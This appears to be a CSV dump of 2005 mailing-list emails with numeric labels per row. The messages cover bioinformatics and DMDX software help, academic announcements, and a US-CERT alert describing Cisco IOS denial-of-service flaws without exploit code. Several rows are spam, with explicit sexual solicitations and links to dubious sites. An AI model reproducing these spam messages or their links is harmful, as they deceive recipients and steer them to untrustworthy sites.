intervals for the aligned regions. This was done to support the sequence similarity display in the latest version. If your previous alignment had 57 intervals and the new one has 359, 287 of which are unaligned intervals, it sounds like 15 intervals can be attributed to greater sensitivity in the new aligner version. Yes, I agree it's wasteful to include entries containing nothing but gaps as part of the unaligned intervals. A future Mauve release may economize the file format. As for the exiting with error codes, this message is somewhat misleading. The actual error code number has no significance. The relevant error should be displayed in the text of the log window. If you can send me a copy of the error message text I can try to help you track down the problem. -Aaron William McCaig wrote: Hello there, I'm having a problem with the Mauve alignment program and was wondering if someone could help me to figure out what exactly is going on. I was using an older version of Mauve, 20040708, and recently switched to the newest one, 20041216. The problem is as follows: Running both versions with the exact same 4 alignment files, at the default settings, produces two different sets of results. In the old version, for instance, I wind up with an IntervalCount of 57, while with the newer version it's 359. I'm not certain if the default settings changed between the two versions, or if this is a result of the ""inexact seeds"" resulting in ""more sensitive alignments"" that was mentioned in the ChangeLog. However, I have also noticed a number of Intervals located near the end of the .alignment file that appear to contain an entry for only one of the four sequences. That is, one sequence has an entry and the other three are nothing but gaps. This is in the newer output file generated and is not located in the old one at all. Is there some setting I am missing that changed between Versions that would result in this output. Doing a count of the intervals, there are 287 or so of these Interval entries. Perhaps I'm not understanding the exact format of the MultiFASTA output file, but it seems kind of pointless to have an entry where the sequences you are comparing to are all gaps. I believe that these entries make no difference when it comes to using the Java Viewer that is included with Mauve, but I actually need the .alignment output file. Also, a number of times I have gotten an exit status with error code 139. I'm not certain what that or any of the other codes mean. I can't figure out exactly what is going wrong, except it appears to happen on one of my machines with one version and not on another. Any help at all with this would be greatly appreciated. Thank you, in advance, William ############################################################# This message is sent to you because you are subscribed to the mailing list . To unsubscribe, E-mail to: To switch to the DIGEST mode, E-mail to >To switch to the INDEX mode, E-mail to Send administrative queries to > ############################################################# This message is sent to you because you are subscribed to the mailing list . To unsubscribe, E-mail to: To switch to the DIGEST mode, E-mail to To switch to the INDEX mode, E-mail to Send administrative queries to ############################################################# This message is sent to you because you are subscribed to the mailing list . To unsubscribe, E-mail to: To switch to the DIGEST mode, E-mail to To switch to the INDEX mode, E-mail to Send administrative queries to ",0,0 CERT Advisory ,cert-advisory@cert.org,"Wed, 26 Jan 2005 18:03:24 -0500",US-CERT Technical Cyber Security Alert TA05-026A -- Multiple Denial-of-Service Vulnerabilities in Cisco IOS ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Technical Cyber Security Alert TA05-026A Multiple Denial-of-Service Vulnerabilities in Cisco IOS Original release date: January 26, 2005 Last revised: -- Source: US-CERT Systems Affected * Cisco routers and switches running IOS in various configurations Overview Several denial-of-service vulnerabilities have been discovered in Cisco's Internet Operating System (IOS). A remote attacker may be able to cause an affected device to reload the operating system. I. Description Cisco has published three advisories describing flaws in IOS that could allow a remote attacker to cause an affected device to reload. Further details are available in the following vulnerability notes: VU#583638 - Cisco IOS contains DoS vulnerability in MPLS packet processing The IOS implementation of Multi Protocol Label Switching (MPLS) contains a vulnerability that allows malformed MPLS packets to cause an affected device to reload. An unauthenticated attacker can send these malformed packets on a local network segment that is connected to a vulnerable device interface. VU#472582 - Cisco IOS IPv6 denial-of-service vulnerability A vulnerability in the way that IOS handles a sequence of specially crafted IPv6 packets could cause an affected device to reload, resulting in a denial of service. The vulnerability is exposed on both physical interfaces (i.e., hardware interfaces), and logical interfaces (i.e., software defined interfaces such as tunnels) that are configured for IPv6. VU#689326 - Cisco IOS vulnerable to DoS via malformed BGP packet An IOS device that is enabled for Border Gateway Protocol (BGP) and set up with the bgp log-neighbor-changes option is vulnerable to a denial-of-service attack via a malformed BGP packet. II. Impact Although the underlying causes of these three vulnerabilities is different, in each case a remote attacker could cause an affected device to reload the operating system. This creates a denial-of-service condition since packets are not forwarded through the affected device while it is reloading. Repeated exploitation of these vulnerabilites would result in a sustained denial-of-service condition. Since devices running IOS may transit traffic for a number of other networks, the secondary impacts of a denial of service may be severe. III. Solution Upgrade to a fixed version of IOS Cisco has updated versions of its IOS software to address these vulnerabilities. Please refer to the ""Software Versions and Fixes"" sections of the Cisco Security Advisories listed in Appendix A for more information on upgrading. Workaround Cisco has also published practical workarounds for VU#689326 and VU#583638. Please refer to the ""Workarounds"" section of each Cisco Security Advisory listed in Appendix A for more information. Sites that are unable to install an upgraded version of IOS are encouraged to implement these workarounds. Appendix A. References * Cisco Security Advisory: Crafted Packet Causes Reload on Cisco Routers - * Cisco Security Advisory: Multiple Crafted IPv6 Packets Cause Reload - * Cisco Security Advisory: Cisco IOS Malformed BGP Packet Causes Reload - * US-CERT Vulnerability Note VU#583638 - * US-CERT Vulnerability Note VU#472582 - * US-CERT Vulnerability Note VU#689326 - _________________________________________________________________ Feedback can be directed to the authors: Will Dormann, Chad Dougherty, and Damon Morda _________________________________________________________________ This document is available from: _________________________________________________________________ Copyright 2005 Carnegie Mellon University. Terms of use: _________________________________________________________________ Revision History January 26, 2005: Initial release Last updated January 26, 2005 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQfgfthhoSezw4YfQAQJQKAf8DxKPd+9aXGsomYzRhFPyCcnjEfy6dv/N 3GcqV8GR5WyshB207vhvw1PDfZdQVFIXiNr/xE9dmBKEhm38En3a70DnVe2UCmXO UobYXGk9tSW+pnR7Cdd3hc8yeZq0ys+LFKF/sztgpPJji/zFWojPnuS1wCcYggA1 kuGCQ9VD6My64Hlh/PStCYqx5C9azgGHNv086W6fQyCssgjwBz51YxdV9gZ9wJUt I8LGjq6T0Fp+5kEEd9SPoUjA+r7bNft3xUPAabb+N4dt8sZUYqzXDP71lYYXgZay z2FE7jkbtX/LYVQCiA4LfgGCbw1sI6p+UQABtj74CPte2CyJZO5hJw== =aHIO -----END PGP SIGNATURE-----",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 26 Jan 2005 22:56:09 -0700",[DMDX] Re: problem ,"At 08:52 PM 1/26/2005 -0700, you wrote: > Unless I'm mistaken stores all RTs at 0 or 1, Duh, -1 or 1. The default Analyze cutoffs are going to make a complete mess of that because they're assuming RTs are in milliseconds, not the values true or false. was introduced back in the bad old 16 bit days when an RT of 32 seconds was the longest possible RT and someone wanted a longer RT than that. These days with the limit being a large part of a month is largely useless, surprises me how many people try to use it. If you want really long RTs set the time limit to something really big, like . /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Weinder's Law of Libraries: There are no answers, only cross-references.",0,0 C A Ankerstein ,DMDX mailing list ,"Thu, 27 Jan 2005 13:21:30 +0000",[DMDX] problem with .avi files,"Hi All, I'm trying to run an experiment using .jpg pictures and .avi movies. I got it running on my PC with DMDX 3.0.2.5 with no problems whatsoever. Yesterday I tried to get the same script to run on my laptop. It didn't work, no .jpg or .avi files would show. Now I have DMDX 3.1.2.1 on the laptop and the .jpg files work, but I get the following message as soon as an .avi file comes up: ""failed to create sample. VFW_S_RESOURCE_NOT_NEEDED (88760250) The resource specified is no longer needed"" What do I do now? I've tried downloading DMDX 3.0.4.3 (a suggestion from the mailing list archive), but I get 3.1.2.1 instead. Thanks, Carrie -- Carrie Ankerstein Department of Human Communication Sciences University of Sheffield 31 Claremont Crescent Sheffield S10 2TA United Kingdom phone: (0) 114 22 22412 email: hcp02caa@sheffield.ac.uk ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 27 Jan 2005 08:26:48 -0700",[DMDX] Re: problem with .avi files,"At 01:21 PM 1/27/2005 +0000, you wrote: >""failed to create sample. VFW_S_RESOURCE_NOT_NEEDED (88760250) The resource >specified is no longer needed"" Now, that's an interesting one, the windows video codec is complaining that there's more than it needs in the .AVI file, weird. >What do I do now? I've tried downloading DMDX 3.0.4.3 (a suggestion from the >mailing list archive), but I get 3.1.2.1 instead. It's not a DMDX version problem (as a side note vary rarely will an earlier version of DMDX be a better thing to use), it's a Video For Windows problem. Sometime in the past you've either upgraded the Media Player on that desktop machine or installed something else that's given it expanded capabilities w.r.t. .AVI files. You need to install whatever that was on the laptop too. If you can't recall what it was I recommend upgrading the Windows Media Player first as it upgrades a ton of different video related things. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Weinder's Law of Libraries: There are no answers, only cross-references. ",0,0 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Thu, 27 Jan 2005 13:15:10 -0700",Last Call - International Conference Virtual Concept 2005," ------------- Begin Forwarded Message ------------- From: j.corral@estia.fr The 3rd International Conference Virtual Concept 2005 http://www.virtualconcept.estia.fr November 8 - 10th, 2005 Biarritz - FRANCE Dear colleagues, We remind you that deadlines for abstract submissions have been extended to the 4th of February 2005. Please notice that the online submission website will be closed at this date. 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POSTDOC POSITION IN COMPUTER SCIENCE ECOLE NORMALE SUPERIEURE, LYON FRANCE IMPLEMENTATION OF A VALIDATED INFINITE NORM Other postdoc offers (cryptology, computer algebra) are available and can be consulted at http:// www.ens-lyon.fr/LIP/Arenaire/ KEYWORDS: infinite norm, elementary functions, interval arithmetic, variable precision SUPERVISORS: Jean-Michel Muller {Jean-Michel.Muller@ens-lyon.fr}, Nathalie Revol {Nathalie.Revol@ens-lyon.fr} LOCATION: LIP + address + url PREFERRED DURATION: 12 months ARENAIRE PROJECT Arenaire is a project of 16 researchers which aims at elaborating and consolidating knowledge in the field of computer arithmetic. We contribute to the improvement of the available arithmetic, at the hardware level as well as at the software level, on computers, processors, dedicated or embedded chips, etc. Reliability, accuracy, and speed are major goals that drive our studies. We also take into account other constraints such as power consumption, certification using formal proof techniques or reliability of numerical software. Target arithmetics are fixed or floating point format, interval arithmetic, finite fields arithmetic and multiple precision. SCIENTIFIC CONTEXT: One of the research topics of Arenaire is the hardware or software computation, as efficiently as possible, of elementary functions (sine, exponential, arc-tangent...). The notion of efficiency is related to the target application (computing time, memory, circuit area, accuracy). The method consists in approximating the considered elementary function f by a polynomial, on a fixed domain (usually a small interval) and thus the polynomial of given degree that best approximates f is sought; constraints may be added on the coefficients of the polynomial. For a candidate polynomial p, the quality of the approximation is measured by the infinite norme of the error (f-p) on the considered interval and our goal is to bound as accurately as possible this error and to get validated bounds. RESEARCH PROJECT: Given a function f (given analytically and not by its value at some points), a polynomial p and an interval I, the candidate will have to design and implement an algorithm that provides bounds (upper and lower bounds) of the infinite norm of (f-p) on I. - The result must be validated in order to guarantee the quality of the approximation: this will be obtained via interval arithmetic. - The computing precision is variable and not one of the usual (single or double) computing precision: indeed, intermediate computations of the error require more precision than the target precision; furthermore, some applications concern digital signal processing, where the precision differs from the usual ones. A possible extension concerns the determination of the best polynomial of given degree, when constraints on the coefficients are to be taken into account. EXISTING WORK: the library MPFI implements interval arithmetic with variable and arbitrary precision. Language: C/C++. SKILLS: PhD in computer science or numerical analysis - PhD in computer science + basic knowledge in NA - PhD in numerical analysis + programming, preferrably in C/C++ CONTACT: contact ASAP Jean-Michel Muller {Jean-Michel.Muller@ens-lyon.fr}, Nathalie Revol {Nathalie.Revol@ens-lyon.fr} --------------------------------------------------------------------------- Nathalie REVOL INRIA Rhone Alpes LIP - Projet Arenaire tel : (33) 4-72-72-85-00 Ecole Normale Superieure de Lyon Fax : (33) 4-72-72-80-80 69364 Lyon Cedex 07, FRANCE Nathalie.Revol@ens-lyon.fr http://perso.ens-lyon.fr/nathalie.revol/ --------------------------------------------------------------------------- ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 28 Jan 2005 14:07:52 -0700",[DMDX] Re: Other I/O cards,"At 06:27 PM 1/28/2005 +0100, you wrote: >Hello there, > > I have a question. I'm preparing an EEG ERP experiment, and thus I need to >send triggers from DMDX to the program gathering the EEG signal (Biosemi >ActiView). We do have a 32-bit PCI PnP IO card based on 8254 chip. Is there >any chance DMDX will support output devices other than 8255-based ones? It currently only supports Measurement Computing and Keithley interface cards. Any other types of cards will require someone sponsoring their addition to DMDX unless there are DirectX drivers for the cards (unlikely as we've yet to see any instances of DirectX drivers for interface cards). /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Expertise in one field does not carry over into other fields. But experts often think so. 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I've used the command (umb for short), to do this (on its own line, preceeded by a line number), but DMDX doesn't seem to like at, and gives the error response (""misplaced keyword at beginning of line""). Is it possible to unmap buttons in the middle of a program and then remap them again? Many thanks Nick Riches Kings College London --------------------------------- ALL-NEW Yahoo! Messenger - all new features - even more fun!",0,0 Blair ,Tino ,"Mon, 31 Jan 2005 18:13:08 +0300",everything ok,"Looking to increase your johnson. Vist at http://www.mydkillsanddoc.com/taw/ to settle that. that that Hardly were there is conquering Thanks. Blair. ",1,1 Franklin Tucker ,reliable_computing-outgoing@interval.louisiana.edu,"Mon, 31 Jan 2005 08:59:35 -0700",resplendent Eighteens suckinng oldman cock!," Do you want well-favoured virgiin Sluts? http://musicrecreation.info/index6.html?iSPhfd.fX,hj UNSSUBSCRIBE http://musicrecreation.info/ ",1,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 01 Feb 2005 08:23:50 -0700",[DMDX] Re: Query about unmapping buttons in the middle of a program,"At 09:27 AM 2/1/2005 +0000, you wrote: >Hi > >I've made a program in which the Space key is mapped to the ABORT response >(I've done this because I'm using soundfiles, and I want the subject to be >able to move on to the next sound file at any stage). At various stages in >the program I'd like to unmap the Space key for a couple of lines, and >then remap it again to the ABORT response (this is because the subject >answers a yes / no question and I don't want them to accidentally abort). >I've used the command (umb for short), to do this (on >its own line, preceeded by a line number), but DMDX doesn't seem to like >at, and gives the error response (""misplaced keyword at beginning of >line""). Is it possible to unmap buttons in the middle of a program and >then remap them again? Yes, but the keywords have to be in the body of the item, not before it. You've probably got: +10 ""frame"" * ; +11 ""frame"" * ; You need: +10 ""frame"" * ; +11 ""frame"" * ; However you can't un-map the abort key name. You'll have to temporarily map some other key that has a much lower chance of being accidentally hit instead and then map the space bar back again. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You stop believing in Santa Claus is when you start getting clothes for Christmas.",0,0 Arnold Neumaier ,interval ,"Tue, 01 Feb 2005 17:48:59 +0100",Interval arithmetic and the SIAM 100-digit challenge,"I just noticed that the review of the book F. Bornemann et al., The SIAM 100-digit challenge, SIAM, Philadelphia 2004 in the MathSciNet http://www.ams.org/msnmain?fmt=doc&fn=105&id=2076374&l=20&pg3=IID&r=1&s3=254928&v3=Bornemann%2C%20Folkmar refers to interval arithmetic for verifying the accuracy of the results. ''The authors second objective in each chapter is to validate the correctness of each calculated digit. This objective is achieved through various combinations of carefully designed computer experiments, a posteriori error estimates and computer-assisted proofs based on interval arithmetic.'' Arnold Neumaier ",0,1 """Siegfried M. Rump"" ","Arnold Neumaier , interval ","Tue, 01 Feb 2005 18:11:55 -0100",Re: Interval arithmetic and the SIAM 100-digit challenge,"Yes, one of the authors wrote me some time ago that five of the ten problems were solved using INTLAB. Best wishes Siegfried M. Rump On Tue, 01 Feb 2005 17:48:59 +0100, Arnold Neumaier wrote: > I just noticed that the review of the book > F. Bornemann et al., > The SIAM 100-digit challenge, > SIAM, Philadelphia 2004 > in the MathSciNet > http://www.ams.org/msnmain?fmt=doc&fn=105&id=2076374&l=20&pg3=IID&r=1&s3=254928&v3=Bornemann%2C%20Folkmar > refers to interval arithmetic for verifying the accuracy of the results. > > ''The authors second objective in each chapter is to validate the > correctness of each calculated digit. This objective is achieved through > various combinations of carefully designed computer experiments, a > posteriori error estimates and computer-assisted proofs based on > interval arithmetic.'' > > > Arnold Neumaier > -- ================================================= Prof. Dr. Siegfried M. Rump Arbeitsbereich Informatik III Technische Universität Hamburg-Harburg Schwarzenbergstr. 95 21071 Hamburg Germany phone +49 40 42878 3027 secr. +49 40 42878 3227 fax +49 40 42878 2489",0,1 Christophe Jermann ,Christophe Jermann ,"Fri, 28 Jan 2005 10:25:31 +0100","Postdoctoral position in Nantes, France","[apologies if you receive multiple copies of this message] POSTDOCTORAL POSITION in COMPUTER SCIENCE and INTERVAL MATHEMATICS University of Nantes, LINA laboratory, CoCoA Team ----- The CoCoA (Continuous Constraints and Applications) team of the LINA (Computer Science Laboratory of Nantes Atlantique) laboratory invites applications for a postdoctoral position. The appointment will be for one year, starting between September 2005 and December 2005. The CoCoA team will support candidates into applying to fellowships and grants programs. For this purpose, interested candidates should send their application the sooner. Context ------- The CoCoA team consists of 15 researchers who aim at solving general first-order formulas over integers and reals, involving non-linear constraints, uncertainty, preferences on the data and efficiency criteria. The base tools we use are interval analysis, constraint propagation (CP), symbolic computation and tree-search methods. Constraint programming provides a declarative and natural way of formulating problems as constraint satisfaction problems (CSPs) by stating the requirements (constraints) that must be fulfilled by the solutions. The CoCoA team is especially interested in numerical CSPs which involve constraints over real numbers. Such CSPs appear in industrial applications like conceptual design, computer aided design, robotics and molecular biology, which are the main applications the CoCoA team is tackling. Objectives ---------- The postdoctoral fellow will be involved into one of the ongoing research projects of the team, contribute to the development of the ELISA platform for constraint programming and optimization, and pursue researches in one of the following directions (depending on her/his abilities and desires): * hybridization of solving/optimization techniques (local/global, numeric/symbolic, ...) * design of solving/optimization methods for composite problems (hierarchical conjunctive/disjunctive models, mixed problems) * definition of systems and languages for constraint programming and optimization * study of a given application field (design, bioinformatics, ...) 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The LINA laboratory offers a friendly working environment and excellent computational facilities. Contacts -------- Laurent Granvilliers or Christophe Jermann Laboratoire LINA - University of Nantes 2 rue de la Houssiniere BP 92208 F-44322 Nantes CEDEX France Phone: +33 251 125 851 or +33 251 125 840 Fax: +33 251 125 812 email: {laurent.granvilliers, christophe.jermann}@univ-nantes.fr http://www.sciences.univ-nantes.fr/lina/en/research/teams/COCOA/index.html ",0,1 Nicholas Riches ,DMDX@psy1.psych.arizona.edu,"Wed, 02 Feb 2005 09:26:56 +0000",[DMDX] Re: Query about unmapping buttons in the middle of a program,"Thanks for that. I'll give it a try. Nick ""j.c.f."" wrote: At 09:27 AM 2/1/2005 +0000, you wrote: >Hi > >I've made a program in which the Space key is mapped to the ABORT response >(I've done this because I'm using soundfiles, and I want the subject to be >able to move on to the next sound file at any stage). At various stages in >the program I'd like to unmap the Space key for a couple of lines, and >then remap it again to the ABORT response (this is because the subject >answers a yes / no question and I don't want them to accidentally abort). >I've used the command (umb for short), to do this (on >its own line, preceeded by a line number), but DMDX doesn't seem to like >at, and gives the error response (""misplaced keyword at beginning of >line""). Is it possible to unmap buttons in the middle of a program and >then remap them again? Yes, but the keywords have to be in the body of the item, not before it. You've probably got: +10 ""frame"" * ; +11 ""frame"" * ; You need: +10 ""frame"" * ; +11 ""frame"" * ; However you can't un-map the abort key name. You'll have to temporarily map some other key that has a much lower chance of being accidentally hit instead and then map the space bar back again. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You stop believing in Santa Claus is when you start getting clothes for Christmas. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== Dr Nick Riches 14 Swinfield Ave, Chorlton, Manchester M21 9FU Tel: 0161 861 9193 Mobile: 07713 632 701 --------------------------------- ALL-NEW Yahoo! Messenger - all new features - even more fun!",0,1 C A Ankerstein ,DMDX@psy1.psych.arizona.edu,"Wed, 02 Feb 2005 15:27:20 +0000",[DMDX] Re: problem with .avi files,"Hi, My laptop had the latest version of Windows Media Player and there was nothing I could do to get the videos to work. In the archives (http://psy1.psych.arizona.edu/cgi-bin/thread?message=1421802), I found a similar problem with avi files not playing and you suggested using something higher than Windows 98 (which is weird because my PC has Windows 98 and was perfectly happy to display the avi files---unfortunately I can't run my experiments on my own PC). So I tried that on another PC with XP and it works---but I had to change the format of the avi files to be compatible with Windows Media Player Version 9. Thanks for your help, Carrie -- Carrie Ankerstein Department of Human Communication Sciences University of Sheffield 31 Claremont Crescent Sheffield S10 2TA United Kingdom phone: (0) 114 22 22412 email: hcp02caa@sheffield.ac.uk Quoting ""j.c.f."" : > At 01:21 PM 1/27/2005 +0000, you wrote: > > >""failed to create sample. VFW_S_RESOURCE_NOT_NEEDED (88760250) The resource > >specified is no longer needed"" > > Now, that's an interesting one, the windows video codec is complaining > that there's more than it needs in the .AVI file, weird. > > > >What do I do now? I've tried downloading DMDX 3.0.4.3 (a suggestion from > the > >mailing list archive), but I get 3.1.2.1 instead. > > It's not a DMDX version problem (as a side note vary rarely will an > earlier version of DMDX be a better thing to use), it's a Video For Windows > problem. Sometime in the past you've either upgraded the Media Player on > that desktop machine or installed something else that's given it expanded > capabilities w.r.t. .AVI files. You need to install whatever that was on > the laptop too. If you can't recall what it was I recommend upgrading the > Windows Media Player first as it upgrades a ton of different video related > things. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Weinder's Law of Libraries: > There are no answers, only cross-references. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. 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Dear colleagues, It is my pleasure to bring your attention to the edited monograph W. Fellin, H. Lessmann, M. Oberguggenberger, R. Vieider: Analyzing Uncertainty in Civil Engineering. Springer-Verlag, Berlin 2005. You can find the table of contents at http://www.cs.utep.edu/interval-comp/fellin.pdf Interval-related papers are in this book in as much as random sets and fuzzy sets are employed, and this implies using evaluations of functions on intervals. In my review article, intervals as models of uncertainty are discussed as well; in addition, there is a paper on sensitivity analysis. Thus the book might be of interest to the interval community. On behalf of the editors, I thank you for your interest. With best regards, Michael Oberguggenberger Institut fuer Technische mathematik, Geometrie und Bauinformatik Universitaet Innsbruck Technikerstr. 13 A - 6020 Innsbruck, Austria Tel ++43 (0)512 507 6824 Fax ++43 (0)512 507 2941 E-Mail michael.oberguggenberger@uibk.ac.at",0,1 Pierre Fraigniaud ,PODC@LISTSERV.ACM.ORG,"Wed, 02 Feb 2005 19:17:10 +0100",DISC 2005 cfp,"(Apologies if you receive this message several times) Call for Papers 19th International Symposium on Distributed Computing DISC 2005 Krakow, Poland, September 25-29, 2005. IMPORTANT DATES # Submission Deadline: May 8, 2005, 12PM (EST, UTC-5hours) # Acceptance Notification: July 5, 2005 # Camera ready copy due: July 28, 2005 DISC, the International Symposium on DIStributed Computing, is an annual forum for research presentations on all facets of distributed computing. DISC 2005 is organized in cooperation with the European Association for Theoretical Computer Science (EATCS). SCOPE Original contributions to the theory, design, analysis, implementation, or application of distributed systems and networks are solicited. Topics of interest include, but are not limited to: # distributed algorithms and their complexity # fault-tolerance of distributed systems # multiprocessor/cluster architectures and algorithms # distributed operating systems # distributed computing issues on - the Internet - the Web - small worlds # distributed systems management # distributed applications such as: - peer-to-peer networks - databases - mobile agents # communication network architectures and protocols # distributed programing languages # specification, semantics, and verification of distributed systems # cryptographic and security protocols for distributed systems # consistency conditions and synchronization REGULAR PAPERS AND BRIEF ANNOUNCEMENTS Regular papers must present original work not previously published, and not concurrently submitted elsewhere for publication (conference or journal). Ongoing work for which full papers are not ready yet or recent results published elsewhere are suitable for submission as brief announcements. It is hoped that researchers will use the brief announcement track to quickly draw the attention of the community to their experiences, insights and results from ongoing distributed computing research and projects. PUBLICATION AND PRESENTATION The symposium program lists all accepted papers--regular and brief announcements. Brief Announcements get 5 to 10 minutes each, and 2 pages in the proceedings. Regular Papers get 25 minutes each, and 15 pages in the proceedings. The symposium proceedings will include accepted Regular Papers and Brief Announcements, and will be published by Springer in its Lecture Notes in Computer Science series. Extended and revised versions of selected papers will be considered for a special issue of the ACM - Springer Verlag journal: Distributed Computing. SUBMISSION FORMAT Every submission, regular or brief, should be in English, begin with a cover page (not a cover letter), and be followed by an extended abstract. The cover page must include: # title, # the names of all authors and their affiliations, # contact author's postal address, email address, and telephone number, # a brief, one paragraph abstract of the paper, # whether the paper is to be considered for the regular track, the brief announcement track, or both, and # whether the submission should be considered for the best student paper award. A regular submission's extended abstract should be no longer than 4500 words and not exceed 10 pages using at least 11 point font and reasonable margins. (The page limit includes all figures, tables, graphs, and references.) Additional necessary details may be included in a clearly marked appendix that will be read at the discretion of the program committee. Alternatively, the submissions can be formatted according to the LNCS style, in which case the regular submissions should be no longer than 15 pages. A brief announcement's extended abstract should not exceed 2 pages using at least 11 point font and reasonable margins. Submissions deviating from these guidelines will be rejected without consideration of their merits. It is recommended that the extended abstracts begin with a succinct statement of the problem or the issue being addressed, a summary of the main results or conclusions, a brief explanation of their significance, a brief statement of the key ideas, and a comparison with related work, all tailored to a non-specialist. Technical development of the work, directed to the specialist, should follow. SUBMISSION Authors are strongly encouraged to submit their papers electronically. Information about how to submit papers will be available on http://www.disc-conference.org/. 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Watson Research Center) David Peleg (Weizmann Institute) Greg Plaxton (University of Texas at Austin) Sergio Rajsbaum (National Autonomous University of Mexico) Sylvia Ratnasamy (Intel Research Laboratory) Nicola Santoro (Carleton University) Sebastiano Vigna (University of Milano) Jennifer Welch (Texas A&M University) STEERING COMMITTEE Alex Shvartsman, chair (University of Connecticut) Paul Vitanyi, vice-chair (CWI and University of Amsterdam) Hagit Attiya (Technion) Faith Fich (University of Toronto) Pierre Fraigniaud (CNRS, University of Paris Sud) Rachid Guerraoui (EPFL) Roger Wattenhofer (ETH Zurich) ",0,1 yang ,"ec-discuss@MIT.EDU, ec@MIT.EDU","Fri, 04 Feb 2005 00:19:03 -0500",man with a plan for a cpw,"campus preview weekend is april 7 - 10 thusday - sunday. this is when admitted students get to check out MIT and it's an opportunity for us to freak them out, I mean, welcome them. it is comparable to a mini-rush we get to have events such as the annual miss ugly contest, a baking contest, and the cryo fac. some other things I thought would be awesome would be a 5 hour dance party, half an hour on each hall. a giant hammock spanning the two parallels would also be a nice touch. if you have ideas and/or want to get involved in any way there will be a meeting next Monday at 11 pm in Talbot. also, I am still looking for a co-cpw-chair. it'll be fuuunn. reply soon before I just appoint someone. w0rd, yang ",0,0 Rob Radez ,yang ,"Fri, 04 Feb 2005 00:26:54 -0500",Re: man with a plan for a cpw,"On Fri, Feb 04, 2005 at 12:19:03AM -0500, yang wrote: > contest, and the cryo fac. some other things I thought would be awesome yo harvey, paul, and i are starting the organizing of the cryofac. if people want to help out or just want to learn more, please put them in contact with us. thanks, rob -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ",0,0 David Scott ,"mmm2120@columbia.edu, inst.iorga@iorga.iini.ro, -iileana@labmm.uab.ro, angelica@euroqual.pub.ro, Iileana@Imm.uab.ro, Sels@sels.ase.ro, Isoc@isoc.ro, Mmcord@cipe.org, Cbulat@cipe.org, romanianclub@columbia.edu","Fri, 04 Feb 2005 04:29:40 -0600",Please look! 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This workshop is organized by an enthusiastic inter-disciplinary team: * Pavel Solin (http://www.math.utep.edu/Faculty/solin/) is an applied mathematician specializing in higher order finite element methods; he is the author of a research monograph Higher-Order Finite Element Methods (Chapman & Hall/CRC Press, 2003) * Jack Chessa (http://www.dmc.utep.edu/chessa) is a professor of mechanical engineering department, a specialist in finite element methods for non-linear problems such as fracture, shear band and localization phenomena as well as fluid structure interaction and multi-phase flow, and, more generally, problems that deal with moving interfaces and discontinuities. INTERVAL TALKS ARE VERY WELCOME Both Pavel and Jack have heard a lot of good things about interval techniques in FEM as techniques that provide guaranteed error bounds, they are very much interested to learn more about these techniques and they strongly believe that the interaction between leading FEM researchers and interval researchers interested in FEM applications will be very beneficial to both sides. POTENTIAL COMPLEMENT TO REC WORKSHOPS This aspect of the planned workshop makes is a nice complement to the Second International Workshop on Reliable Engineering Computing (REC) that Rafi Muhanna and Robert Mullen plan to organize in Savannah, Georgia, in February 2006 - after the success of their first workshop in September 2004: * the REC bring together researchers who use validated techniques in engineering (not necessarily in FEM), where we can exchange our ideas and techniques and advertise our successes to the larger engineering community * on the other hand, the planned FEM workshop will give us an opportunity to make our ideas, techniques, and results more known in the general engineering computation community, especially among those who use FEM methods. PLEASE EXPRESS YOUR INTEREST ASAP If you are potentially interested in coming, please let Pavel know ASAP by email to solin@math.utep.edu (copy to me at vladik@cs.utep.edu). By March 1, 2005, he would like to have a preliminary list. The more impressive the resulting list, the larger potential for collaboration and applications, the better chances for getting additional funding (for some of the grants to support 2006 conferences, early March 2005 is the deadline). By March 1, the workshop dates will be decided exactly. INTERVAL TUTORIAL SOLICITED In view of the collaboration potential, in addition to the research interval-related talks of interest to the FEM community, the organizers would like to include a description of interval techniques with an emphasis on FEM as a tutorial and/or one of the keynote talks. They will try their best to fund potential keynote speakers. During several interval-related conferences and at the REC meeting in Savannah, I have heard many interesting talks and tutorials that, in my opinion and in the opinion of other participants, are very clear so that they can be rather easily understood by the engineering-related audience and very enthusiastic so that they can enthuse participants into using these verified (reliable) techniques. If you are interested in presenting such a tutorial and/or keynote talk or if you would like to suggest someone who, in your opinion, would be the best person for this job, please do not hesitate to email Pavel (copy to me) about these possibilities. VENUE The workshop will be held either on campus or at the new Hilton hotel that Hilton is currently building on our campus (it is scheduled to open in February 2006). In any case, a block of rooms will be reserved at the Hilton hotel for the out-of-town guests. The local tradition is that in early December, a Season of Light is officially opened, with thousands of holiday lights decorating the trees and the Bhutanese-style buildings on campus. These lights are on every evening in December, so you will have an opportunity to enjoy them. ",0,1 Mundy ,fessler@kepler.eecs.umich.edu,"Sat, 05 Feb 2005 06:44:58 -0500","Depression can be serious, beware","see bergson try arpa in play but eerily may superfluity ",1,0 Vladik Kreinovich ,reliable_computing@interval.louisiana.edu,"Sat, 05 Feb 2005 10:58:12 -0700",FW: calculators,"Re need to teach kids (and adults) about accuracy and maybe intervals. And maybe in favbor of interval calculators. ------------- Begin Forwarded Message ------------- Date: Sat, 5 Feb 